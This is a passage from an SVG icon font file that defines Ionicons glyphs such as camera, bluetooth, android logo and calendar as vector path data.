M81 137c1 1 3 1 4 0l39 -24c2 -2 2 -5 0 -7l-28 -16c-1 -1 -3 0 -3 1l-14 45zM146 99l42 -26v0c1 -1 1 -2 0 -3v0l-42 -26c-1 -1 -3 -1 -4 0l-41 26h-1c-1 1 -1 2 0 3v1l42 25c1 1 3 1 4 0zM185 151c2 -2 2 -4 0 -6l-39 -24c-1 -1 -3 -1 -4 0l-38 24c-2 2 -2 4 0 6l38 24
c1 1 3 1 4 0zM206 206c2 1 4 1 6 0c4 -4 11 -7 18 -9l-10 -31l-4 -12c0 -1 -2 -2 -3 -1l-7 4l-37 23c-3 2 -3 6 1 7c14 3 26 10 36 19zM121 6c-1 2 -1 3 1 4l20 13c1 1 3 1 4 0l20 -13c2 -1 3 -2 2 -4l-2 -5s-7 -19 -22 -19c-14 0 -22 19 -22 19zM165 106c-3 2 -3 5 0 7
l39 24c1 1 3 1 4 0h1c1 0 1 -2 1 -3l-15 -44c0 -1 -2 -2 -3 -1zM264 280c3 3 7 3 10 0c8 -7 14 -18 14 -30c0 -22 -18 -40 -40 -40c-11 0 -29 4 -37 12c-2 1 -3 1 -5 0c-15 -13 -36 -20 -62 -20s-47 7 -62 20c-2 1 -3 1 -5 0c-9 -8 -26 -12 -37 -12c-22 0 -40 18 -40 40
c0 13 7 25 17 32c2 1 4 1 5 0c7 -7 15 -11 20 -13c2 -1 3 1 2 3l-4 6c-6 9 -8 19 -6 29c9 54 54 95 110 95s102 -41 111 -94c2 -10 -1 -21 -7 -30l-4 -6c-1 -2 0 -4 2 -3c5 2 12 6 18 11z" />
    <glyph glyph-name="ion-md-resize" unicode="&#xf36b;" 
d="M250 400h166v-166l-65 64l-249 -249l64 -65h-166v166l65 -64l249 249z" />
    <glyph glyph-name="ion-ios-camera" unicode="&#xf3f6;" horiz-adv-x="384" 
d="M134 173c0 32 26 57 58 57s58 -25 58 -57s-26 -57 -58 -57s-58 25 -58 57zM354 288c18 0 30 -13 30 -31v-176c0 -18 -12 -33 -30 -33h-320c-18 0 -34 15 -34 33v176c0 18 16 31 34 31h7v8c0 4 4 8 8 8h26c4 0 8 -4 8 -8v-8h4c4 0 9 2 12 5c28 32 40 43 52 43h85
c12 0 23 -11 51 -43c3 -3 7 -5 12 -5h55zM196 88c44 2 79 37 81 81c2 50 -39 91 -89 89c-44 -2 -79 -37 -81 -81c-2 -50 39 -91 89 -89zM288 230c7 0 13 6 13 13s-6 13 -13 13s-13 -6 -13 -13s6 -13 13 -13z" />
    <glyph glyph-name="ion-md-information" unicode="&#xf312;" horiz-adv-x="48" 
d="M0 76v137h48v-137h-48zM0 260v48h48v-48h-48z" />
    <glyph glyph-name="ion-md-bluetooth" unicode="&#xf29a;" horiz-adv-x="286" 
d="M286 288l-97 -96l97 -96l-128 -128h-23v170l-103 -103l-32 32l126 125l-126 125l32 32l103 -103v170h23zM180 330v-84l42 42zM222 96l-42 42v-84z" />
    <glyph glyph-name="ion-ios-filing" unicode="&#xf429;" 
d="M376 384c22 0 40 -18 40 -40v-304c0 -22 -18 -40 -40 -40h-336c-22 0 -40 18 -40 40v304c0 22 18 40 40 40h336zM388 208v132c0 9 -7 16 -16 16h-328c-9 0 -16 -7 -16 -16v-132c0 -9 7 -16 16 -16h87c7 0 13 -5 15 -11c4 -12 14 -21 26 -21h72c12 0 22 9 26 21
c2 6 8 11 15 11h87c9 0 16 7 16 16zM338 292h-260c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h260c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14zM338 228h-260c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h260c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14z" />
    <glyph glyph-name="ion-ios-thermometer" unicode="&#xf252;" horiz-adv-x="192" 
d="M150 143c25 -17 42 -46 42 -79c0 -53 -43 -96 -96 -96s-96 43 -96 96c0 33 17 62 42 79c4 3 7 8 7 13v214c0 26 21 46 47 46s47 -20 47 -46v-214c0 -5 3 -10 7 -13zM96 3c32 0 58 27 58 59c0 25 -16 47 -38 55c-3 1 -6 5 -6 8v143c0 8 -6 14 -14 14v0
c-8 0 -15 -6 -15 -14v-143c0 -3 -2 -7 -5 -8c-22 -8 -38 -30 -38 -55c0 -32 26 -59 58 -59z" />
    <glyph glyph-name="ion-logo-ionic" unicode="&#xf150;" 
d="M208 287c52 0 95 -43 95 -95s-43 -95 -95 -95s-95 43 -95 95s43 95 95 95zM301 322c0 24 19 43 43 43s43 -19 43 -43s-19 -44 -43 -44s-43 20 -43 44zM397 278c12 -27 19 -56 19 -86c0 -115 -93 -208 -208 -208s-208 93 -208 208s93 208 208 208c34 0 65 -8 95 -23l4 -2
l-3 -3c-8 -7 -15 -15 -19 -25l-1 -3l-3 2c-23 11 -48 16 -73 16c-94 0 -170 -76 -170 -170s76 -170 170 -170s170 76 170 170c0 22 -4 44 -13 65l-1 3l2 1c10 4 20 10 27 18l3 3z" />
    <glyph glyph-name="ion-ios-gift" unicode="&#xf191;" 
d="M384 312c18 0 32 -14 32 -32v-20c0 -2 -2 -4 -4 -4h-408c-2 0 -4 2 -4 4v20c0 18 14 32 32 32h84c-12 11 -20 27 -20 44c0 33 28 60 63 60c21 0 38 -9 49 -27c11 18 28 27 49 27c35 0 63 -27 63 -60c0 -17 -8 -33 -20 -44h84zM257 388c-19 0 -34 -16 -34 -64h34
s34 14 34 32s-15 32 -34 32zM159 388c-19 0 -34 -14 -34 -32s15 -32 34 -32h34c0 48 -15 64 -34 64zM16 222c0 4 4 8 8 8h170v-262h-146c-18 0 -32 14 -32 32v222zM392 230c4 0 8 -4 8 -8v-222c0 -18 -14 -32 -32 -32h-146v262h170z" />
    <glyph glyph-name="ion-md-help-circle-outline" unicode="&#xf16d;" 
d="M208 358c-44 0 -86 -18 -117 -49s-49 -73 -49 -117s18 -86 49 -117s73 -49 117 -49s86 18 117 49s49 73 49 117s-18 86 -49 117s-73 49 -117 49zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM187 67v42h42v-42h-42zM229 130
h-42c0 67 63 62 63 104c0 23 -19 42 -42 42s-42 -20 -42 -42h-41c0 46 37 83 83 83s83 -37 83 -83c0 -52 -62 -58 -62 -104z" />
    <glyph glyph-name="ion-ios-battery-full" unicode="&#xf122;" horiz-adv-x="480" 
d="M380 304c26 0 48 -22 48 -48v-128c0 -26 -22 -48 -48 -48h-332c-26 0 -48 22 -48 48v128c0 26 22 48 48 48h332zM400 128v128c0 11 -9 20 -20 20h-332c-11 0 -20 -9 -20 -20v-128c0 -11 9 -20 20 -20h332c11 0 20 9 20 20zM448 243c16 0 32 -27 32 -51s-16 -51 -32 -51
v102zM368 256c7 0 12 -5 12 -12v-104c0 -7 -5 -12 -12 -12h-308c-7 0 -12 5 -12 12v104c0 7 5 12 12 12h308z" />
    <glyph glyph-name="ion-ios-radio-button-off" unicode="&#xf1f6;" 
d="M208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-md-play" unicode="&#xf357;" horiz-adv-x="320" 
d="M0 396l320 -204l-320 -204v408z" />
    <glyph glyph-name="ion-md-close" unicode="&#xf2c0;" horiz-adv-x="298" 
d="M298 311l-119 -119l119 -119l-30 -30l-119 119l-119 -119l-30 30l119 119l-119 119l30 30l119 -119l119 119z" />
    <glyph glyph-name="ion-ios-bookmark" unicode="&#xf12e;" horiz-adv-x="256" 
d="M0 368c0 18 14 32 32 32h192c18 0 32 -14 32 -32v-380c0 -3 -3 -5 -6 -3l-117 92c-3 2 -7 2 -10 0l-117 -92c-3 -2 -6 0 -6 3v380z" />
    <glyph glyph-name="ion-md-play-circle" unicode="&#xf174;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM166 98l125 94l-125 94v-188z" />
    <glyph glyph-name="ion-md-color-palette" unicode="&#xf2d2;" horiz-adv-x="384" 
d="M192 384c106 0 192 -77 192 -171c0 -59 -48 -106 -107 -106h-38c-18 0 -32 -14 -32 -32c0 -9 3 -17 8 -22s9 -12 9 -21c0 -18 -14 -32 -32 -32c-106 0 -192 86 -192 192s86 192 192 192zM75 192c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM139 277
c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM245 277c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM309 192c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-ios-arrow-dropleft-circle" unicode="&#xf129;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM251 111l-79 81l81 81c8 8 8 19 0 27s-19 8 -27 0l-95 -95c-7 -7 -8 -19 -1 -27l94 -94c4 -4 9 -6 14 -6s9 2 13 6c8 8 8 19 0 27z" />
    <glyph glyph-name="ion-md-battery-charging" unicode="&#xf294;" horiz-adv-x="224" 
d="M194 371c16 0 30 -14 30 -30v-343c0 -16 -13 -30 -30 -30h-164c-16 0 -30 13 -30 30v343c0 16 14 30 30 30h37v45h90v-45h37zM90 13l89 168h-45v123l-89 -168h45v-123z" />
    <glyph glyph-name="ion-md-share-alt" unicode="&#xf378;" horiz-adv-x="384" 
d="M384 200l-160 -147v88c-107 0 -171 -34 -224 -109c21 107 75 214 224 235v85z" />
    <glyph glyph-name="ion-logo-xing" unicode="&#xf10f;" horiz-adv-x="426" 
d="M271 144v-1l99 -175h-103c-1 0 -2 0 -2 1l-99 173v2l156 272h104zM179 232v-1l-81 -134c0 -1 0 -1 -1 -1h-97l81 135v1l-59 104h96c1 0 2 0 2 -1z" />
    <glyph glyph-name="ion-md-unlock" unicode="&#xf39e;" horiz-adv-x="320" 
d="M280 262c22 0 40 -18 40 -40v-200c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v200c0 22 18 40 40 40h182v40v0c0 34 -28 62 -62 62s-62 -28 -62 -62h-38c0 55 45 100 100 100s100 -45 100 -100v-40h20zM160 80c22 0 40 18 40 40s-18 40 -40 40s-40 -18 -40 -40
s18 -40 40 -40z" />
    <glyph glyph-name="ion-logo-apple" unicode="&#xf229;" horiz-adv-x="320" 
d="M238 294v0c25 0 52 -14 71 -39c-63 -36 -53 -128 11 -153c-9 -20 -13 -28 -24 -46c-16 -25 -37 -56 -65 -56h-1c-24 0 -31 16 -63 16v0c-33 0 -40 -16 -64 -16h-1c-28 0 -48 28 -64 53c-44 69 -48 150 -21 193c19 30 50 48 78 48c29 0 47 -16 71 -16c23 0 38 16 72 16z
M230 384v0c3 -23 -6 -46 -18 -62c-13 -17 -35 -30 -56 -30h-1c-4 22 6 44 18 60c14 17 37 31 57 32z" />
    <glyph glyph-name="ion-ios-square" unicode="&#xf21a;" horiz-adv-x="320" 
d="M292 32h-264c-15 0 -28 13 -28 28v264c0 15 13 28 28 28h264c15 0 28 -13 28 -28v-264c0 -15 -13 -28 -28 -28z" />
    <glyph glyph-name="ion-ios-albums" unicode="&#xf3ca;" horiz-adv-x="480" 
d="M445 287c19 0 35 -16 35 -35v-232c0 -19 -16 -35 -35 -35h-410c-19 0 -35 16 -35 35v232c0 19 16 35 35 35h410zM418 315h-356c-8 0 -14 6 -14 14v0c0 8 6 14 14 14h356c8 0 14 -6 14 -14v0c0 -8 -6 -14 -14 -14zM387 371h-294c-7 0 -13 6 -13 13v2c0 7 6 13 13 13h294
c7 0 13 -6 13 -13v-2c0 -7 -6 -13 -13 -13z" />
    <glyph glyph-name="ion-md-star" unicode="&#xf384;" horiz-adv-x="404" 
d="M202 75l-125 -75l33 142l-110 96l145 12l57 134l57 -134l145 -12l-110 -96l33 -142z" />
    <glyph glyph-name="ion-md-bookmark" unicode="&#xf29f;" horiz-adv-x="288" 
d="M248 384c22 0 40 -18 40 -40v-344l-144 64l-144 -64v344c0 22 18 40 40 40h208z" />
    <glyph glyph-name="ion-md-woman" unicode="&#xf3aa;" horiz-adv-x="192" 
d="M30 299c3 12 17 33 42 34h48c24 -1 38 -22 42 -34l29 -104c6 -23 -21 -32 -27 -10l-26 96h-9l46 -169h-43v-127c0 -23 -31 -23 -31 0v127h-10v-127c0 -23 -32 -23 -32 0v127h-42l45 169h-7l-27 -96c-7 -21 -33 -13 -27 10zM133 379c0 -21 -17 -37 -37 -37s-37 16 -37 37
s17 37 37 37s37 -16 37 -37z" />
    <glyph glyph-name="ion-ios-construct" unicode="&#xf15f;" horiz-adv-x="480" 
d="M364 384v0v0zM259 390c6 -4 18 -12 10 -12c0 0 -35 6 -60 -15c-18 -16 -30 -31 -31 -53s7 -34 35 -62l5 3c1 1 3 1 4 1c2 0 6 -1 7 -2c0 0 -5 5 14 -14l-50 -47c-18 18 -13 13 -13 13c-2 2 -3 6 -1 10l4 7c-25 25 -39 37 -51 40c-4 1 -8 2 -12 2c-10 0 -17 -3 -21 -7
s-12 -16 -5 -23l12 -12c2 -2 2 -6 0 -8l-33 -35c-1 -1 -3 -1 -4 -1s-3 0 -4 1l-63 64c-2 2 -2 5 0 7l34 34c1 1 3 2 4 2c0 0 16 -8 24 0s0 20 6 29s16 19 23 26s35 34 81 53c16 7 33 9 47 9c15 0 29 -4 38 -10zM446 48c2 -2 2 -6 0 -8l-55 -54c-1 -1 -3 -2 -4 -2s-3 1 -4 2
c0 0 -56 66 -114 127l47 51c61 -58 130 -116 130 -116zM463 323c13 -13 18 -29 17 -41s-6 -36 -30 -60c-17 -17 -45 -30 -72 -30c-11 0 -22 3 -32 8c-2 1 -6 2 -9 2s-7 -1 -11 -5c-2 -2 -9 -10 -21 -22c-3 -4 -7 -8 -11 -12c-8 -8 -17 -17 -26 -27c-4 -4 -7 -8 -11 -12
c-54 -57 -119 -127 -119 -127c-8 -9 -18 -13 -29 -13s-24 5 -32 13c-17 17 -18 45 0 61c0 0 70 65 127 119c4 4 8 7 12 11c10 9 19 18 27 26c4 4 7 8 11 11c13 12 21 20 23 21c7 8 5 15 3 20c-19 44 2 83 22 104c21 22 48 29 60 30h2c12 0 28 -6 39 -17l-53 -53l10 -51
l51 -9zM121 22c5 5 5 14 0 20c-5 5 -13 5 -19 0c-5 -5 -5 -14 0 -20c5 -5 13 -5 19 0z" />
    <glyph glyph-name="ion-logo-android" unicode="&#xf225;" horiz-adv-x="352" 
d="M64 180v76h224v-76v-90c0 -7 -4 -14 -11 -14h-28v-52c0 -13 -11 -24 -24 -24v0h-1c-6 0 -10 2 -14 5c-5 4 -9 11 -9 19v52h-49v-52c0 -13 -11 -24 -24 -24s-24 11 -24 24v52h-29c-7 0 -11 7 -11 14v90zM328 272c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24
s-24 11 -24 24v96c0 13 11 24 24 24zM24 272c13 0 24 -11 24 -24v-96c0 -13 -11 -24 -24 -24s-24 11 -24 24v96c0 13 11 24 24 24zM231 359c48 -21 56 -72 57 -87h-224c1 15 8 66 56 87l-18 22c0 1 0 1 1 2s3 1 3 1l19 -23c14 5 31 9 51 9s36 -4 50 -9l20 23c0 1 1 0 2 -1
l2 -2zM127 309c8 0 13 6 13 13s-6 14 -13 14c-8 0 -14 -7 -14 -14s7 -13 14 -13zM225 309c7 0 14 6 14 13s-7 14 -14 14c-8 0 -13 -7 -13 -14s6 -13 13 -13z" />
    <glyph glyph-name="ion-md-radio-button-on" unicode="&#xf361;" 
d="M208 296c57 0 104 -47 104 -104s-47 -104 -104 -104s-104 47 -104 104s47 104 104 104zM208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166z" />
    <glyph glyph-name="ion-ios-cloud-download" unicode="&#xf408;" horiz-adv-x="512" 
d="M437 282c43 -8 75 -47 75 -92c0 -50 -41 -94 -91 -94h-152v141c0 7 -6 13 -13 13s-13 -6 -13 -13v-141h-152c-50 0 -91 44 -91 94c0 41 26 80 66 93c1 39 33 74 72 74c10 0 19 -3 27 -6c27 39 72 65 123 65c77 0 141 -59 149 -134zM243 12v84h26v-84l48 47c5 5 13 5 18 0
s5 -13 0 -18l-70 -69v0c-1 -1 -2 -2 -4 -3s-3 -1 -5 -1c-3 0 -7 2 -9 4l-70 69c-5 5 -5 13 0 18s13 5 18 0z" />
    <glyph glyph-name="ion-md-heart-dislike" unicode="&#xf167;" 
d="M4 371l24 25l384 -384l-24 -24l-92 92c-18 -17 -37 -34 -58 -53l-30 -27l-30 27c-107 98 -178 162 -178 242c0 30 11 57 29 77zM416 269c0 -49 -26 -92 -72 -141l-254 254c8 2 16 2 24 2c36 0 71 -17 94 -44c23 27 58 44 94 44c64 0 114 -50 114 -115z" />
    <glyph glyph-name="ion-md-leaf" unicode="&#xf319;" horiz-adv-x="320" 
d="M320 160c0 -119 -81 -140 -128 -143v-49h-64v49c-47 3 -128 24 -128 143c0 167 160 256 160 256s160 -89 160 -256z" />
    <glyph glyph-name="ion-md-people" unicode="&#xf343;" horiz-adv-x="448" 
d="M305 216c-34 0 -61 27 -61 60s27 60 61 60s62 -27 62 -60s-28 -60 -62 -60zM143 216c-34 0 -62 27 -62 60s28 60 62 60s61 -27 61 -60s-27 -60 -61 -60zM143 172c48 0 145 -23 145 -70v-54h-288v54c0 47 95 70 143 70zM305 161c48 0 143 -12 143 -59v-54h-128v54
c0 30 -9 41 -32 58c7 1 11 1 17 1z" />
    <glyph glyph-name="ion-ios-thumbs-down" unicode="&#xf254;" horiz-adv-x="384" 
d="M17 325c2 2 4 5 3 8c0 1 -1 2 -1 3c-3 6 -5 13 -1 23c11 26 45 33 76 37c17 2 36 4 56 4c38 0 81 -4 113 -8c22 -3 34 -7 46 -12c16 -6 31 -12 67 -12c5 0 8 -3 8 -8v-160c0 -4 -4 -8 -8 -8c-6 0 -15 -3 -22 -10c-3 -3 -9 -11 -14 -19c-8 -12 -17 -25 -26 -33
c-2 -2 -6 -5 -10 -9c-17 -15 -49 -43 -57 -60c-5 -11 -9 -30 -12 -42c-4 -15 -3 -23 -6 -27c-5 -6 -16 -8 -28 -8s-20 9 -26 19c-12 21 -13 57 -3 90c5 17 11 28 15 36c3 6 5 11 5 13c-1 5 -4 6 -17 5c-3 0 -11 -1 -21 -3c-25 -4 -63 -10 -81 -11c-26 -2 -36 0 -46 12
c-8 9 -13 24 -8 38c2 6 0 14 -4 18c-5 5 -10 11 -10 23c0 13 3 21 6 26c2 3 3 6 2 10l-1 1c0 1 0 2 -1 3c-5 6 -11 15 -11 29c0 15 9 26 17 32z" />
    <glyph glyph-name="ion-md-clipboard" unicode="&#xf2bd;" horiz-adv-x="384" 
d="M341 368c23 0 43 -20 43 -43v-314c0 -23 -20 -43 -43 -43h-298c-23 0 -43 20 -43 43v314c0 23 20 43 43 43h87c7 28 32 48 62 48s55 -20 62 -48h87zM192 368c-12 0 -21 -9 -21 -21s9 -22 21 -22s21 10 21 22s-9 21 -21 21zM344 8v320h-40v-72h-224v72h-40v-320h304z" />
    <glyph glyph-name="ion-md-images" unicode="&#xf30f;" horiz-adv-x="448" 
d="M426 308c13 -1 23 -12 22 -24l-14 -263c-1 -13 -12 -22 -25 -21l-330 16c-13 1 -23 10 -22 23l2 46l-15 -1c-12 -1 -22 7 -23 18l-21 236c-1 11 7 21 19 22l296 24c12 1 22 -7 23 -18l5 -54zM71 302c1 12 11 22 24 22l219 -11l-2 31h-1v1c-1 5 -5 8 -10 8l-261 -22
c-5 0 -9 -4 -10 -9v0v-1l16 -178l18 25zM405 66l10 199h-1c0 6 -4 10 -10 10l-291 14c-6 0 -11 -4 -12 -9v0l-10 -199l122 131l69 -81l38 34zM352 192c-18 0 -32 14 -32 32s14 32 32 32s32 -14 32 -32s-14 -32 -32 -32z" />
    <glyph glyph-name="ion-ios-star-outline" unicode="&#xf4b2;" horiz-adv-x="448" 
d="M431 256c9 0 17 -7 17 -16c0 -4 -2 -8 -5 -11l-3 -2l-120 -86l46 -135c2 -7 1 -14 -5 -18c-3 -2 -6 -4 -9 -4s-7 2 -10 4l-118 84l-118 -84c-3 -2 -7 -4 -10 -4s-6 2 -9 4c-6 4 -7 12 -5 18l46 135l-121 85c-5 4 -7 7 -7 11v3c0 9 7 16 16 16v0h148l45 133
c2 6 8 11 15 11s13 -5 15 -11l45 -133h147zM304 164l79 57c3 2 2 7 -2 7h-97v0c-12 0 -23 8 -27 19l-29 89c-1 4 -7 4 -8 0l-30 -89c-4 -11 -14 -19 -26 -19h-99c-4 0 -5 -5 -2 -7l81 -57c10 -7 14 -20 10 -32l-30 -88c-1 -4 3 -6 6 -4l78 55c5 4 10 5 16 5s11 -1 16 -5
l78 -56c3 -2 7 1 6 5l-30 88c-4 12 0 25 10 32z" />
    <glyph glyph-name="ion-md-reverse-camera" unicode="&#xf36f;" horiz-adv-x="448" 
d="M408 352c22 0 40 -18 40 -40v-272c0 -22 -18 -40 -40 -40h-368c-22 0 -40 18 -40 40v272c0 22 18 40 40 40h88l32 32h128l32 -32h88zM336 181v0v99l-33 -33c-20 20 -48 33 -79 33c-62 0 -112 -50 -112 -112s50 -112 112 -112c52 0 95 34 108 81h-30
c-12 -32 -42 -53 -78 -53c-46 0 -84 38 -84 84s38 84 84 84c23 0 44 -11 59 -26l-45 -45h98z" />
    <glyph glyph-name="ion-md-american-football" unicode="&#xf277;" horiz-adv-x="448" 
d="M0 192c14 35 36 66 64 91v-182c-28 25 -50 56 -64 91zM448 192c-14 -35 -36 -66 -64 -91v182c28 -25 50 -56 64 -91zM224 343c47 0 91 -14 128 -37v-77v-21v-32v-28v-70c-37 -23 -81 -37 -128 -37s-91 14 -128 37v70v28v32v21v77c37 23 81 37 128 37zM320 208v32h-32v-32
h-48v32h-32v-32h-48v32h-32v-32v-32v-32h32v32h48v-32h32v32h48v-32h32v32v32z" />
    <glyph glyph-name="ion-ios-calendar" unicode="&#xf3f4;" 
d="M376 352c22 0 40 -18 40 -40v-272c0 -22 -18 -40 -40 -40h-336c-22 0 -40 18 -40 40v272c0 22 18 40 40 40h40v-24c0 -4 4 -8 8 -8h16c4 0 8 4 8 8v24h192v-24c0 -4 4 -8 8 -8h16c4 0 8 4 8 8v24h40zM384 52v180c0 4 -4 8 -8 8h-336c-4 0 -8 -4 -8 -8v-180
c0 -11 9 -20 20 -20h312c11 0 20 9 20 20zM112 376v-24h-32v24c0 4 4 8 8 8h16c4 0 8 -4 8 -8zM336 376v-24h-32v24c0 4 4 8 8 8h16c4 0 8 -4 8 -8z" />
    <glyph glyph-name="ion-md-more" unicode="&#xf1c9;" horiz-adv-x="80" 
d="M80 312c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40zM80 72c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40zM80 192c0 -22 -18 -40 -40 -40s-40 18 -40 40s18 40 40 40s40 -18 40 -40z" />
    <glyph glyph-name="ion-md-eye" unicode="&#xf2e9;" horiz-adv-x="448" 
d="M224 343c102 0 188 -62 224 -151c-36 -89 -122 -151 -224 -151s-188 62 -224 151c36 89 122 151 224 151zM224 91c56 0 102 46 102 101s-46 101 -102 101s-102 -46 -102 -101s46 -101 102 -101zM224 252c34 0 61 -27 61 -60s-27 -60 -61 -60s-61 27 -61 60s27 60 61 60z
" />
    <glyph glyph-name="ion-md-heart-empty" unicode="&#xf1a1;" 
d="M302 384c64 0 114 -50 114 -115c0 -80 -71 -144 -178 -242l-30 -27l-30 27c-107 98 -178 162 -178 242c0 65 50 115 114 115c36 0 71 -17 94 -44c23 27 58 44 94 44zM221 55c50 46 94 86 123 122c28 35 40 63 40 92c0 23 -9 44 -24 59s-35 24 -58 24
c-26 0 -53 -12 -70 -32l-24 -30l-24 30c-17 20 -44 32 -70 32c-23 0 -43 -9 -58 -24s-24 -36 -24 -59c0 -29 12 -57 40 -92c29 -36 73 -76 123 -122l4 -4l9 -8l9 8z" />
    <glyph glyph-name="ion-md-arrow-round-back" unicode="&#xf288;" horiz-adv-x="352" 
d="M321 224c17 0 31 -14 31 -32s-14 -32 -31 -32h-214l83 -79c12 -12 12 -34 0 -46s-31 -12 -43 0l-138 134c-6 6 -9 14 -9 23v0c0 9 3 17 9 23l138 134c12 12 31 12 43 0s12 -34 0 -46l-83 -79h214z" />
    <glyph glyph-name="ion-md-airplane" unicode="&#xf15a;" horiz-adv-x="384" 
d="M384 112l-160 48v-114l48 -31v-31l-80 16l-80 -16v31l48 31v114l-160 -48v40l160 104v113c0 18 15 31 32 31s32 -13 32 -31v-113l160 -104v-40z" />
    <glyph glyph-name="ion-md-fastforward" unicode="&#xf2ea;" horiz-adv-x="448" 
d="M448 192l-218 -146v292zM0 338l218 -146l-218 -146v292z" />
    <glyph glyph-name="ion-ios-cloud-upload" unicode="&#xf40b;" horiz-adv-x="512" 
d="M437 282c43 -8 75 -47 75 -92c0 -50 -41 -94 -91 -94h-152v142l48 -47c5 -5 13 -5 18 0s5 13 0 18l-70 69c-2 2 -6 4 -9 4c-2 0 -3 0 -5 -1s-3 -2 -4 -3v0l-70 -69c-5 -5 -5 -13 0 -18s13 -5 18 0l48 47v-142h-152c-50 0 -91 44 -91 94c0 41 26 80 66 93
c1 39 33 74 72 74c10 0 19 -3 27 -6c27 39 72 65 123 65c77 0 141 -59 149 -134zM243 -19v115h26v-115c0 -7 -6 -13 -13 -13s-13 6 -13 13z" />
    <glyph glyph-name="ion-ios-arrow-dropup" unicode="&#xf116;" 
d="M100 147c-8 8 -8 19 0 27l95 95c7 7 19 8 27 1l94 -94c4 -4 6 -9 6 -14s-2 -9 -6 -13c-8 -8 -19 -8 -27 0l-81 79l-81 -81c-8 -8 -19 -8 -27 0zM208 -16c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208s-93 -208 -208 -208zM208 16c47 0 91 19 124 52
s52 77 52 124s-19 91 -52 124s-77 52 -124 52s-91 -19 -124 -52s-52 -77 -52 -124s19 -91 52 -124s77 -52 124 -52z" />
    <glyph glyph-name="ion-md-pizza" unicode="&#xf354;" horiz-adv-x="384" 
d="M343 318c11 -4 13 -13 10 -20l-161 -330s-156 320 -161 330s2 17 10 20c43 18 97 28 151 28s105 -9 151 -28zM122 244c19 0 32 14 32 32s-13 32 -32 32s-32 -14 -32 -32s13 -32 32 -32zM192 101c19 0 32 14 32 32s-13 32 -32 32s-32 -14 -32 -32s13 -32 32 -32zM262 224
c19 0 32 14 32 32s-13 32 -32 32s-32 -14 -32 -32s13 -32 32 -32zM373 382c6 -2 11 -6 11 -13l-10 -24c-3 -5 -8 -9 -15 -9c-2 0 -3 1 -7 2c-45 18 -103 30 -160 30s-111 -11 -160 -30c-3 -1 -5 -2 -7 -2c-6 0 -12 4 -15 9l-10 24c0 8 6 12 11 14c53 21 117 33 181 33
s129 -13 181 -34z" />
    <glyph glyph-name="ion-ios-code-working" unicode="&#xf156;" horiz-adv-x="384" 
d="M382 196c1 -1 2 -2 2 -4s-1 -3 -2 -4l-114 -109c-1 -1 -2 -2 -4 -2s-3 1 -4 2l-14 13c-1 1 -2 2 -2 4s1 3 2 4l96 92l-96 92c-1 1 -2 2 -2 4s1 3 2 4l14 13c1 1 3 2 4 2s3 -1 4 -2zM42 192l96 -92c1 -1 2 -2 2 -4s-1 -3 -2 -4l-14 -13c-1 -1 -2 -2 -4 -2c-1 0 -3 1 -4 2
l-114 109c-1 1 -2 2 -2 4s1 3 2 4l114 109c1 1 3 2 4 2s3 -1 4 -2l14 -13c1 -1 2 -2 2 -4s-1 -3 -2 -4zM170 192c0 12 10 22 22 22s22 -10 22 -22s-10 -22 -22 -22s-22 10 -22 22zM106 192c0 12 10 22 22 22s22 -10 22 -22s-10 -22 -22 -22s-22 10 -22 22zM234 192
c0 12 10 22 22 22s22 -10 22 -22s-10 -22 -22 -22s-22 10 -22 22z" />
    <glyph glyph-name="ion-logo-designernews" unicode="&#xf232;" horiz-adv-x="448" 
d="M258 303l1 -53l-64 102zM297 352l151 -118v-202h-248l-200 157v0h63c46 0 77 33 77 82c0 20 -5 37 -15 51l-3 3l37 -29v-107h40l-2 99l64 -99h36v83v80zM98 270c0 -28 -14 -44 -40 -44h-19v89h19c26 0 40 -16 40 -45z" />
    <glyph glyph-name="ion-logo-dropbox" unicode="&#xf234;" horiz-adv-x="384" 
d="M113 371l79 -66l-114 -71l-78 63zM0 172l78 62l114 -70l-79 -66zM192 164l114 70l78 -62l-113 -74zM384 297l-78 -63l-114 71l79 66zM192 150l80 -66l34 22v-25l-114 -68l-114 68v25l34 -22z" />
    <glyph glyph-name="ion-ios-arrow-round-forward" unicode="&#xf119;" horiz-adv-x="288" 
d="M184 284c5 5 13 5 18 0l82 -83c2 -2 4 -6 4 -9c0 -2 0 -3 -1 -5s-2 -3 -3 -4v0l-82 -83c-5 -5 -13 -5 -18 0s-6 13 -1 18l61 61h-231c-7 0 -13 6 -13 13s6 13 13 13h231l-60 61c-5 5 -5 13 0 18z" />
    <glyph glyph-name="ion-md-car" unicode="&#xf2b2;" horiz-adv-x="384" 
d="M339 331l45 -118v-160c0 -12 -9 -21 -21 -21h-22c-12 0 -21 9 -21 21v11h-256v-11c0 -12 -9 -21 -21 -21h-22c-12 0 -21 9 -21 21v160l45 118c4 13 16 21 30 21h234c14 0 26 -8 30 -21zM75 128c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM309 128
